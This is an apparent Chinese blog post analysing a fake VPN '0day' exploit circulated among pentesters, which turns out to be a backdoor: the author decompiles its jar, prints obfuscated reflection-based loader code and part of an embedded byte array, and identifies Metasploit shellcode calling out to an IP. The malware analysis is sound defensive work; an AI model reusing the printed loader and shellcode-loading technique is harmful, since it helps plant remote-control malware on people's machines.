网传某 vpn 漏洞投毒事件

渗透技巧 1年前 (2023) admin
210 0 0

0x00前言

昨天正在日站,一顿输出,error,关站,waf,gg

           网传某 vpn 漏洞投毒事件

           

于是摸会鱼,在微信里,发现团队小伙伴发了一个0day

网传某 vpn 漏洞投毒事件

           

解压后,一堆dll,其中有个jar包

于是乎

打开idea,添加到lib as lib

就可以看反编译后的代码了,或者使用jd-gui也可以

主要代码在pwnAction

创建一个进程执行命令,不知道具体是干什么的,参数加密了

网传某 vpn 漏洞投毒事件

           

再往下,900多行的字节数组,

网传某 vpn 漏洞投毒事件

           

变量传给var4,var4 又在var14 objectd数组里,具体不清楚干什么了,但明显知道,下面这段代码用了反射

 Class var5;        Class var12;        label16: {            try {                var5 = Class.forName(var3);            } catch (ClassNotFoundException var9) {                byte[] var7 = dump();                var12 = var5 = var1.defineClass(var3, var7, 0, var7.length);                break label16;            }
var12 = var5;String var10001 = CommandLineParser.ALLATORIxDEMO("Vu0011\u000fiu0013Vu0002\u0012J"); Class[] var13 = new Class[1]; boolean var10004 = true; var13[0] = Integer.TYPE; Method var6 = var12.getDeclaredMethod(var10001, var13); var6.setAccessible(true); Object[] var14 = new Object[1]; var10004 = true; var14[0] = var2; long var11 = (Long)var6.invoke((Object)null, var14); var10001 = CommandLineParser.ALLATORIxDEMO("\u000fHu0014\u0014\"); var13 = new Class[5]; var10004 = true; var13[0] = Long.TYPE; var13[1] = byte[].class; var13[2] = String.class; var13[3] = String.class; var13[4] = Object[].class; Method var10 = var5.getDeclaredMethod(var10001, var13); var10.setAccessible(true); var14 = new Object[5]; var10004 = true; var14[0] = var11; var14[1] = var4; var14[2] = null; var14[3] = null; Object[] var10005 = new Object[0]; boolean var10007 = true; var14[4] = var10005; var10.invoke((Object)null, var14); }

于是找gpt生成一个javashellcode加载器

网传某 vpn 漏洞投毒事件

           

上面代码中的shelloce 就是上面的字节数组,invoke var14,var14中有var4,var4则为字节数组,那么可猜测pwnaction的关键代码分别是shellcode和加载器

将字节数组拿出来,转换一下

import java.io.*;            import java.util.Scanner;            

public class test { public static void main(String[] args) throws IOException { byte[] var10000 = new byte[926]; var10000[0] = -4; var10000[1] = 72; var10000[2] = -125; var10000[3] = -28; var10000[4] = -16; var10000[5] = -24; var10000[6] = -56; var10000[7] = 0; var10000[8] = 0; . . . . . . var10000[920] = 55; var10000[921] = 0; var10000[922] = 58; var10000[923] = -34; var10000[924] = 104; var10000[925] = -79; FileOutputStream outputStream = null; try { outputStream = new FileOutputStream("test.class"); outputStream.write(var10000); } catch (IOException e) { e.printStackTrace(); } finally { if (outputStream != null) { try { outputStream.close(); } catch (IOException e) { e.printStackTrace(); } } } } }

使用记事本打开class文件,存在一个ip

网传某 vpn 漏洞投毒事件

           

用16进制打开看一下,xFCx48x83xE4,学过免杀的小伙伴应该已经猜到了,这是msf的码子

网传某 vpn 漏洞投毒事件

           

网传某 vpn 漏洞投毒事件

    

           

微步查看

网传某 vpn 漏洞投毒事件

           

然后看一下jar包,也爆出远控。

网传某 vpn 漏洞投毒事件

 ,由此可见,确实有些问题。

           

原文始发于微信公众号(轩公子谈技术):网传某 vpn 漏洞投毒事件

版权声明:admin 发表于 2023年8月16日 下午1:09。
转载请注明:网传某 vpn 漏洞投毒事件 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...